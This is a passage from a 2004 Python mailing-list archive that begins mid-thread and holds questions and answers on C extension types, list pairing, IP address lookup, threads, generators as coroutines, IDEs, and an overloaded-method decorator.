>>                            PyString_AsString(name));
>>    }
>>
>>    static PyTypeObject PyGrmReplaceType =
>>    {
>>       PyObject_HEAD_INIT(NULL)
>>       0,                               /* ob_size */
>>       "grm.GrmReplace",                /* tp_name */
>>        sizeof(PyFsmObject),            /* tp_basicsize */
>>        0,                              /* tp_itemsize */
>>        PyGrmReplace_dealloc,           /* tp_dealloc */
>>        0,                              /* tp_print */
>>        0,                              /* tp_getattr */
>>        0,                              /* tp_setattr */
>>        ...
>>        PyGrm_GetAttro,                 /* tp_getattro */
>>        0,                              /* tp_setattro */
>>        0,                              /* tp_as_buffer */
>>        Py_TPFLAGS_DEFAULT,             /* tp_flags */
>>        "GrmReplace objects",           /* tp_doc */
>>        ...
>>        0,                              /* tp_methods */
>>        0,                              /* tp_members */
>>        ...
>>        PyGrmReplace_init,              /* tp_init */
>>        0,                              /* tp_alloc */
>>        PyGrmReplace_new,               /* tp_new */
>>    };
>>
>>    PyMODINIT_FUNC
>>    initgrm(void)
>>    {
>>       PyGrmReplaceType.tp_new = PyGrmReplace_new;
>>       PyGrmReplaceType.tp_base = pointerToFSMPyType;
>>       if (PyType_Ready(&PyGrmReplaceType) < 0)
>>           return;
>>
>>       PyObject* m = Py_InitModule3("grm", grm_methods,
>>                    "Python binding for the AT&T GRM library");
>>       Py_INCREF(&PyGrmReplaceType);
>>       PyModule_AddObject(m, "GrmReplace", (PyObject*)&PyGrmReplaceType);
>>    }
>>
>> And the result of this is that an instance of grm.GrmReplace
>> makes the mutate method available, but doesn't have the
>> type() method from the fsm.Fsm class. Is there some "canonical"
>> form for implementing this?
>>
>> Thanks again,
>> Iker
>>
>>
>>>
>>>
>>>> Here's the stack trace (via Valgrind), just in case:
>>>
>>>
>>>
>>>
>>> A stack trace from gdb (i.e. with line numbers) would have been more
>>> use.
>>>
>>> I think you have two options here: (a) make friends with gdb or (b)
>>> post [a link to, maybe] complete code.
>>>
>>> Cheers,
>>> mwh
>>>


From steven.bethard at gmail.com  Tue Sep 28 16:34:00 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 28 Sep 2004 14:34:00 -0600
Subject: all pairs of items in a list without indexing?
Message-ID: <d11dcfba04092813343e99fff6@mail.gmail.com>

So I need to do something like:

for i in range(len(l)):
    for j in range(i+1, len(l)):
        # do something with (l[i], l[j])

where I get all pairs of items in a list (where I'm thinking of pairs
as sets, not tuples, so order doesn't matter).  There isn't really
anything wrong with the solution here, but since Python's for-each
construction is so nice, I usually try to avoid range(len(..)) type
calls and list indexing when I can...  Is there any way to do this
without indexing, e.g.:

for item1 in ...:
    for item2 in ...:
        # do something with (item1, item2)

I could do something like:

for i, item1 in enumerate(l):
    for j in range(i+1, len(l)):
        (item1, l[j])

but that only gets me halfway there...  I also thought of something like:

for i, item1 in enumerate(l):
    for item2 in l[i+1:]:
        (item1, item2)

but that seems like a lot of wasteful list slicing...

Thanks in advance,

Steve
-- 
You can wordify anything if you just verb it.
        - Bucky Katt, Get Fuzzy


From ialbert at mailblocks.com  Wed Sep 29 08:45:17 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Wed, 29 Sep 2004 08:45:17 -0400
Subject: Support for ODBC for Oracle through Python on solaris
In-Reply-To: <1880e162.0409290434.6a3279db@posting.google.com>
References: <1880e162.0409290434.6a3279db@posting.google.com>
Message-ID: <Ko2dnccQAM7BM8fcRVn-gg@giganews.com>

Nagendra wrote:

> Is there any support in the python to do this or will i have to resort
> to a c/c++ program becuase python for UNIX doesn't support this.
> any pointers will be appriciated.

look here

http://www.egenix.com/files/python/mxODBC.html

Istvan.


From john at grulic.org.ar  Thu Sep  9 19:19:16 2004
From: john at grulic.org.ar (John Lenton)
Date: Thu, 9 Sep 2004 20:19:16 -0300
Subject: Best way to get ip address
In-Reply-To: <200409091207.55336.bulliver@badcomputer.no-ip.com>
References: <200409091207.55336.bulliver@badcomputer.no-ip.com>
Message-ID: <20040909231916.GA9380@grulic.org.ar>

On Thu, Sep 09, 2004 at 12:07:42PM -0700, Darren Kirby wrote:
> Hello list:
> 
> I am writing a small app in python which tracks the kernel banner at 
> kernel.org and downloads newer kernel version(s) (if there are any).
> 
> I am using GeoIP to set the download to a local mirror if there is one. This 
> is what I use to get the local IP address:
> 
> ip = socket.gethostbyaddr(socket.gethostname())
> # returns:  ('hostname.domain', ['hostname'], ['192.168.0.2'])
> ip = str(ip[2])
> # returns:  "['192.168.0.2']"
> ip = ip[2:-2]
> # returns:  '192.168.0.2'
> 
> This works fine, but seems a little crufty and convoluted, and usually when 
> things get crufty it means there is a better way to do it...so is there a 
> preferred way of obtaining a local IP address?
> 
> Another issue is that if the user is behind a NAT firewall or somesuch and 
> uses a private network address then the whole GeoIP code is moot. I was 
> thinking that if this is the case then the app could check for the default 
> gateway of the machine and use that IP instead, but of course the gateway may 
> just be another private network IP address. Does anyone have some ideas on 
> how I could make this code useful with a private IP address?

this is more convoluted, and depends on a third party, but I find it's
the most reliable way to find out what you seem to be wanting:

    re.findall('[0-9.]+',
               urllib.urlopen('http://checkip.dyndns.org/').read())[-1]

there are several apps out there that depend on checkip.dyndns.org,
and it's a published service, so it shouldn't be changing too often.

HTH.

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
You love your home and want it to be beautiful.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040909/f0e7222b/attachment.sig>

From narshe at gmail.com  Mon Sep 13 18:12:18 2004
From: narshe at gmail.com (Josh Close)
Date: Mon, 13 Sep 2004 17:12:18 -0500
Subject: check for unused ports and then grab one
In-Reply-To: <9vhh12-suo.ln1@lairds.us>
References: <ci502a$e77$1@solaris.cc.vt.edu>
	<mailman.3268.1095108346.5135.python-list@python.org>
	<9vhh12-suo.ln1@lairds.us>
Message-ID: <4a0cafe2040913151226db71e1@mail.gmail.com>

I believe you should be able to just bind to port 0. Then it will pick
up an available one and you won't have to worry about it.

-Josh


On Mon, 13 Sep 2004 22:08:10 GMT, Cameron Laird <claird at lairds.us> wrote:
> In article <mailman.3268.1095108346.5135.python-list at python.org>,
> Erik Heneryd  <erik at heneryd.com> wrote:
> >Brad Tilley wrote:
> >> Instead of me arbitrarily assigning a high port number to a variable, is
> >> it possible to check for ports that are unused and then randomly assign
> >> one of them to a variable?
> >
> >No.  Trial and error until you find one.
>                         .
>                         .
>                         .
> Incorrect, if I understand you both; *UNIX Network Programming*
> has said for years that
>   The process can let the system automatically assign
>   a port.  For both the Internet domain and the XNS
>   domain, specifying a port number of 0 before calling
>   bind() requests the system to do this.
> While I've never tracked down an RFC that specifies this, it surely
> exists.
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From aleaxit at yahoo.com  Tue Sep  7 17:55:19 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 23:55:19 +0200
Subject: Memory Error while constructing Compound Dictionary
References: <ccdb2248.0409070947.7f9e94ec@posting.google.com>
Message-ID: <1gjroty.tp0ndj1vwu3e7N%aleaxit@yahoo.com>

Benjamin Scott <mynewjunkaccount at hotmail.com> wrote:
   ...
> len(Lst)=1000
> len(nuerLst)=250
> len(nuestLst)=500

So you want 1000*250*500 = 125 million dictionaries...?

> Specs:
> 
> Python 2.3.4
> XPpro
> 4 GB RAM
> 
> 
> Python was utilizing 2.0 GB when the error was generated.  I have

So you've found out that a dictionary takes at least (about) 16 bytes
even when empty -- not surprising since 16 bytes is typically the least
slice of memory the system will allocate at a time.  And you've found
out that XP so-called pro doesn't let a user program have more than 2GB
to itself -- I believe there are slight workarounds for that, as in
costly hacks that may let you have 3GB or so, but it's not going to help
if you want to put any informatiion in those dictionaries, even a tiny
amount of info per dict will easily bump each dict's size to 32 bytes
and overwhelm your 32-bit processor's addressing capabilities (I'm
assuming you have a 32-bit CPU -- you don't say, but few people use
64-bitters yet).

What problem are you really trying to solve?  Unless you can splurge
into a 64-bit CPU with an adequate OS (e.g., AMD 64 with a Linux for it,
or a G5-based Mac) anything requiring SO many gigabytes probably needs a
radical rethink of your intended architecture/strategy, and it's hard to
give suggestions without knowing what problem you need to solve.


Alex


From jeff at ccvcorp.com  Tue Sep 14 15:45:27 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Tue, 14 Sep 2004 12:45:27 -0700
Subject: funcs vs vars in global namespace
In-Reply-To: <4IG1d.13$26.5@llslave.llan.ll.mit.edu>
References: <J8B1d.3$26.1@llslave.llan.ll.mit.edu>
	<1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com>
	<z_B1d.5$26.4@llslave.llan.ll.mit.edu>
	<1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com>
	<8KD1d.10$26.4@llslave.llan.ll.mit.edu>
	<1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com>
	<H2G1d.11$26.2@llslave.llan.ll.mit.edu>
	<1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com>
	<4IG1d.13$26.5@llslave.llan.ll.mit.edu>
Message-ID: <10keif8g5618255@corp.supernews.com>

David Rysdam wrote:

> Alex Martelli wrote:
>
>>> sub_module = __import__(which_module_this_time)
>>> vars(sub_module).update(which_dict_this_time)
>>
>
> Your "which_dict_this_time" dictionary, how are you imagining that 
> working?  I was just mapping function name strings to functions 
> ({'logError':logError}), but (long story short) that isn't working how 
> I want.  But shouldn't I be able to define the function right there in 
> the dictionary itself?


Perhaps this would be a bit clearer with more-meaningful names.  (Of 
course, that's presuming that I'm reading Alex's intent correctly... :) )

std_global_dict = { 'logError': logError, ... }
script_module = __import__('some_script_module')
vars(script_module).update(std_global_dict)

This will have the effect of injecting all of the specified names (in 
std_global_dict) into the scriptlet's module, where they can be used as 
global variables.  (But note that logError(), and other functions put 
into std_global_dict, will execute in the context in which they were 
defined -- that is, logError is using its own module's globals, not 
script_module's globals or std_global_dict.)

Jeff Shannon
Technician/Programmer
Credit International



From olivier.parisy at free.fr  Fri Sep 17 08:40:07 2004
From: olivier.parisy at free.fr (Olivier Parisy)
Date: Fri, 17 Sep 2004 14:40:07 +0200
Subject: (Synchronous) Thread Control
Message-ID: <414adb28$0$32714$626a14ce@news.free.fr>

Hi,

I like to use thread to simplify the handling of independant,
blocking tasks. But controling them from a main thread is
not always easy to do in a clean way. So I've written some
generic code whose purpose is to start and stop threads in
a synchronous (blocking) way from the caller's point of view.

Hence, after start() is called you are garanteed that the
thread is running, and after stop() you know it has completed
its tasks.

At the end of this message, you'll find an example of the kind
of code I'm using. Here is its output :

Thread: starting
Main: waiting 5 seconds
Thread: beating
Thread: beating
Thread: beating
Thread: beating
Main: done sleeping, stopping thread
Wrapper: joining thread
Thread: beating
Thread: exiting


It seems like the main thread never exits from join(), in spite of
the timeout and the likeliness of the sub thread ending.

Any idea of what I've done wrong?

Best regards,
Olivier.



import threading, time

class IntThread:

     def start(self):
         launched = threading.Event()  # Initially false
         self.listener = self.Listener(launched)
         self.listener.start()
         launched.wait()

     def stop(self):
         self.listener.stop()
         print "Wrapper: joining thread"
         self.listener.join(5)  # Should be more than enought
         print "Wrapper: after join()"

     class Listener(threading.Thread):

         def __init__(self, event):
             threading.Thread.__init__(self)
             self.do_stop = False
             self.event = event

         def stop(self):
             self.do_stop = True

         def run(self):
             print "Thread: starting"
             self.event.set()
             while not self.do_stop:
                 time.sleep(1)
                 print "Thread: beating"
             print "Thread: exiting"

def test():
     thd = IntThread()
     thd.start()
     delay = 5
     print "Main: waiting %s seconds" % delay
     time.sleep(delay)
     print "Main: done sleeping, stopping thread"
     thd.stop()
     print "Main: end of program"

test()


From deetsNOSPAM at web.de  Sun Sep 12 12:11:38 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Sun, 12 Sep 2004 18:11:38 +0200
Subject: Mail extraction problem (something's wrong with split methods)
References: <pan.2004.09.11.16.21.15.772439@public.srce.hr>
	<chvb1c$tj6$00$1@news.t-online.com>
	<pan.2004.09.11.18.06.40.754033@public.srce.hr>
	<chvf4r$hbj$06$1@news.t-online.com>
	<pan.2004.09.12.09.53.31.172850@public.srce.hr>
	<ci1m6v$k4h$02$1@news.t-online.com>
	<pan.2004.09.12.15.32.14.721863@public.srce.hr>
Message-ID: <ci1sfp$gec$01$1@news.t-online.com>

> I was wandering is there any way to modify my splitting code I already
> posted? The thing I want to implement is that the code would parse e-mail
> as usual and when it comes to these problematic spots, it removes
> unnecessary quotes and continues parsing...
> 
> Is there anything that could be done?

Well, you could certainly code around these special cases - however, it
seems to me that whatever generates this mail is malfunctioning. Not on the
transport-layer, but from the thing that produces this 

---Code?block---

thingy.

What is that actually for? It looks as if  you try to reinvent the wheel and
produce your own encoding scheme for binary data - instead of doing this, I
suggest you use one of the several available standards, like uuencode or
others. These are covered by standard apis in python as well as in other
languages. Better go for them.


-- 
Regards,

Diez B. Roggisch


From tim.golden at viacom-outdoor.co.uk  Tue Sep  7 05:05:31 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Tue, 7 Sep 2004 10:05:31 +0100 
Subject: run a python script located on linux from a windows computer
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434A53@iron.ima.umn.edu>


| -----Original Message-----
| From: toaster at compass-it.ch [mailto:toaster at compass-it.ch]
| Sent: 07 September 2004 09:52
| To: Tim Golden
| Subject: RE: run a python script located on linux from a windows
| computer
| 
| 
| hello tim
| 
| ok i have a linux box running a 'Camera-Server'. There a several
| test-scripts. When i try to run them under linux i got a plenty of
| errors. So i want to launch then from the windows box. so i have a
| script in /opt/videoserver/testing/myscript.py
| 
| how can i launch this script from my win box?
| 
| thank you
| jacques

[I've copied your reply back to the list to make sure
the conversation remains visible]

Someone else has just suggested running a Samba server,
which would let you map the linux drive on the Windows
box. You'd end up running something like:

C:\> python X:\testing\myscript.py

Is that what you were after?

BTW, what makes you think that running your scripts on
a Windows box will make the errors go away?

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________


From edreamleo at charter.net  Fri Sep 24 08:25:33 2004
From: edreamleo at charter.net (Edward K. Ream)
Date: Fri, 24 Sep 2004 07:25:33 -0500
Subject: ANN: Leo 4.2 final
Message-ID: <10l84i4jtjb24ae@corp.supernews.com>

Leo 4.2 Final is now available at http://sourceforge.net/projects/leo/

Highlights
----------
- @thin trees make Leo much more friendly to cvs.
- Leo's data structures have been reorganized to make outline
  operations significantly faster. All old scripts still work.
- @test and @script nodes convert scripts to unit tests automatically.
  You can convert scripts to unit tests in seconds!
- A faster and more robust spell checker plugin. (requires Python 2.3)
- Leo is now much more friendly to using spaces instead of tabs.
- The Execute Script command reports erroneous lines more clearly.
- Leo draws large outlines more quickly using less memory.
- Dozens of other improvements.

Quote of the month
------------------
Leo is the best IDE that I have had the pleasure to use. I have been using 
it
now for about 2 -- 3 months. It has totally changed not only the way that I
program, but also the way that I store and organize all of the information 
that
I need for the job that I do. -- Ian Mulvany

What is Leo?
------------
- A programmer's editor, an outlining editor and a flexible browser.
- A literate programming tool, compatible with noweb and CWEB.
- A data organizer and project manager. Leo provides multiple views
   of projects within a single outline.
- Fully scriptable using Python. Leo saves its files in XML format.
- Portable. leo.py is 100% pure Python.
- Open Software, distributed under the Python License.

Leo requires Python 2.2.1 or above and tcl/tk 8.4 or above.
Leo works on Linux, Windows and MacOs X.

Links:
------
Leo:      http://webpages.charter.net/edreamleo/front.html
Home:     http://sourceforge.net/projects/leo/
Download: http://sourceforge.net/project/showfiles.php?group_id=3458
CVS:      http://sourceforge.net/cvs/?group_id=3458
Wiki:     http://leo.hd1.org/

Edward K. Ream
September 22, 2004

--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: Literate Editor with Outlines
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From ville at spammers.com  Wed Sep 15 16:02:42 2004
From: ville at spammers.com (Ville Vainio)
Date: 15 Sep 2004 23:02:42 +0300
Subject: On-topic: Ubuntu Linux preview
Message-ID: <du7brg78fml.fsf@lehtori.cc.tut.fi>

Apparently Ubuntu Linux, by Canonical software (Mark Shuttleworth
et. al) has released a preview. Check it out at

http://www.ubuntulinux.org/

This is on topic in the sense that it's intended to be the heavily
Python oriented distro that Shuttleworth has talked about earlier
on. I didn't replace my Sarge yet (this time I'll wait for the
release, honest ;-), and it probably won't be very Python-oriented
yet, but this is bound to become interesting.

All that sh stuff is starting to look obsolete, even if it *is*
defendable for historic reasons...

-- 
Ville Vainio   http://tinyurl.com/2prnb


From fuzzyman at gmail.com  Sat Sep  4 14:29:02 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 4 Sep 2004 11:29:02 -0700
Subject: HTTP Authentication and realms
Message-ID: <6f402501.0409041029.ff41515@posting.google.com>

To be fair this is more a question about http than directly about
python... but I'm trying to work with it from python and would
appreciate some help.

I'm writing a cgiproxy to remotely fetch webpages and am struggling
with authentication. From the comments at
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267197 I took
the code to do basic authentication when a server replies with a 401
error - but that only authenticates the first page. You then need to
use 'realm' information and something like
urllib2.HTTPPasswordMgrWithDefaultRealm (remembering the username and
password for the realm, once you have supplied it). The trouble is
that *my* code is a CGI. This means that for each seperate page access
the process starts afresh - so I would need to save in an external
file the username and password combinations... which is by no means an
ideal solution.

The bottom line for me is that I don't actually understand what a
realm is and how http does authentication beyond the first page access
- does it need the username and password encoded in the headers for
access to every page in that realm ?



Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From webbsoft2 at alltel.net  Tue Sep 21 16:27:47 2004
From: webbsoft2 at alltel.net (Jimmie Webb)
Date: Tue, 21 Sep 2004 16:27:47 -0400
Subject: New to Python
References: <a1ff320f.0409211158.29e6256b@posting.google.com>
	<ciq1kk$1jf$05$2@news.t-online.com>
	<YU%3d.179$Xy5.164@fe61.usenetserver.com>
	<pan.2004.09.21.20.25.53.879679@gmx.net>
Message-ID: <l904d.182$Xy5.166@fe61.usenetserver.com>

Yes,  They look good to me.  The nCost Value is 0022.63.
but I still get the error ValueError: Invalid literal for float(): EATE TA.

What does the 'EATE TA' mean?

Thanks!


"Marc 'BlackJack' Rintsch" <bj_666 at gmx.net> wrote in message
news:pan.2004.09.21.20.25.53.879679 at gmx.net...
> In <YU%3d.179$Xy5.164 at fe61.usenetserver.com>, Jimmie Webb wrote:
>
> > I tried x = float(nCost) but keep getting an error
> >
> > ValueError: Invalid literal for float(): EATE TA
>
> Maybe the slice values are just wrong?  Have you printed all your
> variables after picking them from the string to make sure they contain
> what you expect?
>
> Ciao,
> Marc 'BlackJack' Rintsch





From moexu13 at gmail.com  Mon Sep 13 16:57:09 2004
From: moexu13 at gmail.com (M. Bitner)
Date: Mon, 13 Sep 2004 13:57:09 -0700
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <d52c72d2040913132260f78197@mail.gmail.com>
References: <864d3709040913131077f1732d@mail.gmail.com>
	<d52c72d2040913132260f78197@mail.gmail.com>
Message-ID: <57c312d304091313573b8a9ff@mail.gmail.com>

Have you looked at Komodo? I use it for everything I can and really
like it. It has a good editor with syntax highlighting and a debugger
(although I think you have to be using ActiveState's Python with the
debugger). It's cheap for noncommercial stuff but a commercial license
is about $275, I think. The regex tool alone was worth the price for
me.

http://www.activestate.com/komodo

HTH,
Melissa


On Mon, 13 Sep 2004 15:22:46 -0500, Jaime Wyant <programmer.py at gmail.com> wrote:
> On Mon, 13 Sep 2004 17:10:16 -0300, Carlos Ribeiro <carribeiro at gmail.com> wrote:
> [ snip! ]
> >
> > The funny thing is that I don't need anything particularly fancy. A
> > good Python editor, syntax coloring, a few helpers (moving blocks &
> > stuff). Debugging is good, but it's not what I really miss. Even form
> > designers -- I could live without them. What I really miss are stuff
> > that I regard as basic: a tabbed editor window for multiple files, and
> > a good project manager interface -- a place where I can find all the
> > files belonging to my projects without having to move around the
> > directory tree whenever I have to do anything. Could I do it using
> > only command-line tools? Probably, but it's not comfortable,
> > convenient or productive. A good IDE would bring me these three things
> > that I'm longing for.
> 
> I use (FWIW) Stani's Python Editor (http://spe.pycs.net/).
> 
> While it is far from perfect, it is very functional and offers:
> 
> o Syntax highlighting
> o wxGlade support built in (well, launches wxGlade which comes bundled)
> o Module auto-open support
>    (Put your cursor "into" an imported module name, hit ctrl-enter and
> SPE will load it into the editor.  Probably not the right technical
> name)
> o Tabbed edit windows.  Each edit window has its own tab, for easy
> switching back / forth.
> o Todo list.  But a comment like "# TODO: do something" and SPE will
> add it to the TODO list.
> o PyChecker support built in.
> o Selection comment / uncomment.  Select text and uncomment / comment it.
> o Auto completion.  It's strange and I don't quite understand it, but
> the editor can "guess" at what methods/properties are available for a
> class by inspecting the class' code.  Also works really well for
> built-ins and libraries.
> o Module explorer.  Shows all classes / functions / imports defined in
> the module being edited.
> 
> What SPE doesn't have:
> o Built-in debugging support
> o Project based configuration.  That is files are saved independently
> of one another, they aren't grouped as projects.
> 
> I'm sure i've forgot to mentions some of the things that SPE does /
> doesn't have.
> 
> HTH,
> jw
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From groups.google at gnosis.cx  Fri Sep 17 14:09:36 2004
From: groups.google at gnosis.cx (David Mertz, Ph.D.)
Date: 17 Sep 2004 11:09:36 -0700
Subject: Microthreads without Stackless?
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409120634.5ba044ee@posting.google.com>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
	<cieafr$m4b$1@nntp0.reith.bbc.co.uk>
Message-ID: <8cf9f521.0409171009.142a3fcd@posting.google.com>

Michael Sparks <michaels at rd.bbc.co.uk> wrote in message news:
> The real root of the 'problem' "Bryan Olson" is putting forward is the
> fact that you can only jump between yield points in simple generators,
> which are inherently single level, rather than nested. (ie the
> traditional "you can't wrap generators" question)

Yeah... I know Bryan thinks that's a problem.  Mostly because he
doesn't actually know what a coroutine is.  But it's true that the
scheduled coroutines I present in the mentioned article are always
"flat" (hmm... didn't I read somewhere that: "Flat is better than
nested"?)

But that's actually just what coroutines ARE.  Bryan seems to want
some kind of hybrid between actual coroutines and a call stack.  Which
isn't necessarily bad.  And is probably something various
languages--like Perl 6--do support.

It might also be something that your greenlets support.  It looks like
an interesting project, and I'll have to take a look at it soon, and
maybe do an article on them.  But I suspect that even there, Bryan
won't get everything he wants with his additional constraint that he
not have to "change any code."

I'm sure Michael gets the distinction, but for other readers, I'll
point out that my coroutine schedules probably does require a little
reorganization of more traditional call-chain code.  For example, you
might want to modify traditional program to allow arbitrary switches
in flow control using (pseudo-code):

  def parent():
      ....do stuff...
      child()
      return

  def child():
      ...do stuff...
      yield to uncle
      return to parent

  def uncle():
      ...stuff...
      yield (back) to child # nephew, I guess

That won't work with my generator/coroutines using a scheduler.  
'child()' can only yield one level up, not arbitrarily.  But you can
"flatten" the exact same flow by making it:

  def parent():
      ...do stuff...
      yield to child
      return

  def child():
      ...do stuff...
      yield to uncle
      yield (back) to parent

  def uncle():
      ...stuff...
      yield (back) to child

This is pseudo-code, of course.  But it's not much different from in
my article.  The point is just the 'child()'  can't be *called* from
'parent()', but rather must be *switched* to (via the scheduler, and a
yielded "next coroutine").  In terms of what code is executed when,
it's exactly the same thing... but there *are* some nominal changes
needed in the way you write the code.

Yours, David...


From eltronic at juno.com  Thu Sep 23 15:24:34 2004
From: eltronic at juno.com (eltronic at juno.com)
Date: Thu, 23 Sep 2004 15:24:34 -0400
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
Message-ID: <20040923.152435.-200057.1.eltronic@juno.com>

On Thu, 23 Sep 2004 09:02:54 -0300 Carlos Ribeiro <carribeiro*@gmail.com>
writes:

> Appliances also are relevant, as it is seamless networking.
> I heed you to check Microsoft's documents on "how Longhorn will be
> great" :-) Seriously, they're working hard to create a new paradigm
> for the Windows desktop, and some of the things that you talk about
> are discussed there too -- namely, they're hiding folders, drive
> names, etc, from the user view, and creating a new and much 
> simplified
> user interface. Google is known to be working on something similar 

cleaner interface, removing background noise such as file extensions? has
nobody learned anything from the last
10 years of virus introduction by user apathy to
look at file extensions. now they want to remove all incentive?
you can bet the impetus isn't entirely user driven.
after beating up their customers over the head with
default settings that allow hijacking, Microsoft with
its new found security perspective decree that the default,
more secure settings are only a few updates away.
I think they just didn't want the customer service nightmare
of explaining how to allow legitimate use of various programs.
you would think the liability of guaranteeing that in the case
of an attack you would have no chance to avoid by using defaults.
but I guess the word hasn't filtered up to management 
that everyone up ad down the chain has been asleep 
at the wheel for oh so many years. they have a charmed life.
job security, but at what price in loss of data and privacy.
do we casually brush off the thousands of man hours lost 
updating and repairing systems as cost of business?
lost data and downtime may just be too hard to quantify.

> --
> your computer will be just a big Google-indexed repository of
> information. No more trying to file things into folders, Google 
> will
> categorize and locate things back for you in a snap.
> 
the exploration of new technology along these lines
can only be good in the long run.  
getting there, based on past performance and conflict of interest
we should expect the real intentions to be less than obvious.
and the tradeoffs not to be clearly understood 
by the ultimate consumers of the service.
the buzzwords change but the problems will remain.
robots.txt shouldn't be the only thing protecting your data.
common sense tells you that others shoulden't be able to
search for credit card information, passwords and private emails.
yet it happens and will continue at a faster clip.

> A project of this size is really big and ambitious. 

of course security and usability aren't mutually exclusive.
as long as we have custom install, classic interface and expert mode.

e
please forward all spam to  uce at ftc.gov

________________________________________________________________
Get your name as your email address.
Includes spam protection, 1GB storage, no ads and more
Only $1.99/ month - visit http://www.mysite.com/name today!


From duncan.booth at invalid.invalid  Wed Sep  8 08:01:44 2004
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 8 Sep 2004 12:01:44 GMT
Subject: A historical question
References: <chmphe$21tc$1@ulysses.noc.ntua.gr>
Message-ID: <Xns955E8441C8304duncanrcpcouk@127.0.0.1>

Jerald <jfj at freemail.gr> wrote in news:chmphe$21tc$1 at ulysses.noc.ntua.gr:

> Hi.
> 
> I'd like to know when python started working with bytecode.
> It seems natural that in the first python implementations
> code was really interpreted : executed directly.
> 
> As a result, in the first days, when the py-programmer
> said:
> 
>    def foo ():
>        print 'foo'
> 
> python stored the function body and executed it each time
> foo was called. In some time it was decided to compile
> this to bytecode, optimize it and call the bytecode instead.
> 
> Is it so?

According to Google, in April 1994 Guido posted complaining about some of the 
inefficiencies in the bytecode interpreter:

http://groups.google.co.uk/groups?selm=9404120719.AA03729%3Dguido%40voorn.cwi.nl

I doubt very much whether there has ever been any implemention of Python that 
didn't use a bytecode of some form. It would be a very perverse way to try to 
write a language.


From __peter__ at web.de  Mon Sep  6 17:24:17 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 06 Sep 2004 23:24:17 +0200
Subject: turning callback into generator
References: <opsdw5rbaz433nmu@news.cisco.com>
Message-ID: <chiki1$h3e$04$1@news.t-online.com>

Wai Yip Tung wrote:

> I'm attempting to turn some process than uses callback to return result
> into a more user friendly generator. I'm hitting some road block so any
> pointer would be appriciated.

I asked the same question a while back and there were no satisfying
suggestions.

http://mail.python.org/pipermail/python-list/2003-December/197726.html

At the very least you need threads, and when the generator is not fully
exhausted it's easy to end up with a thread waiting forever. 

I finally dropped the idea, but if you are really determined and want to
hack something together, the following might (or might not, this is really
a shot in the dark) serve as a starting point:

http://mail.python.org/pipermail/python-list/2003-July/173872.html

Peter



From carribeiro at gmail.com  Mon Sep 27 17:44:54 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 27 Sep 2004 18:44:54 -0300
Subject: Metaclass with name overloading.
In-Reply-To: <ekkntnkx.fsf@telus.net>
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <3c13hh0e.fsf@python.net>
	<1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com>
	<mailman.3973.1096311322.5135.python-list@python.org>
	<ekkntnkx.fsf@telus.net>
Message-ID: <864d3709040927144460cb7327@mail.gmail.com>

On Mon, 27 Sep 2004 21:23:14 GMT, Lenard Lindstrom <len-1 at telus.net> wrote:
> Carlos Ribeiro <carribeiro at gmail.com> writes:
> > <sample code snip>
> > The problem is that the methods were not bound to the instance. Adding
> > individual names to each method won't work, because it'll not bind the
> > references stored in the overload_list. I thought about using a
> > closure or curry type of solution, but that's something that I still
> > don't understand very well. Any tips?
> > 
> Here is my take on decorator overloaded. I implement OverloadedFunction
> as a descriptor. It supports method binding.

That's what I was missing. I've read about descriptors last week, but
didn't had the time to get a hand at it. It's interesting. My
development machine is still using 2.3 -- I don't know if this
descriptor fancy stuff would work here... *btw, that's why my original
snippet didn't use the new syntax to call the decorator).

I think that this code is now Cookbook-ready. Any comments?
 
> import sys
> 
> class OverloadedFunction(object):
>     class BoundMethod:
>         def __init__(self, functions, instance, owner):
>             self.bm_functions = functions
>             self.bm_instance = instance
>             self.bm_owner = owner
>         def __getitem__(self, index):
>             return self.bm_functions[index].__get__(self.bm_instance,
>                                                     self.bm_owner)
>     def __init__(self):
>         self.of_functions = []
>     def addFunction(self, func):
>         self.of_functions.append(func)
>     def __get__(self, instance, owner):
>         return self.BoundMethod(self.of_functions,
>                                 instance,
>                                 owner)
> 
> def overloaded(func):
>     try:
>         olf = sys._getframe(1).f_locals[func.__name__]
>     except KeyError:
>         olf = OverloadedFunction()
>     olf.addFunction(func)
>     return olf
> 
> # Test case:
> class blob:
>     def __init__(self, member):
>         self.member = member
>     @overloaded
>     def f(self):
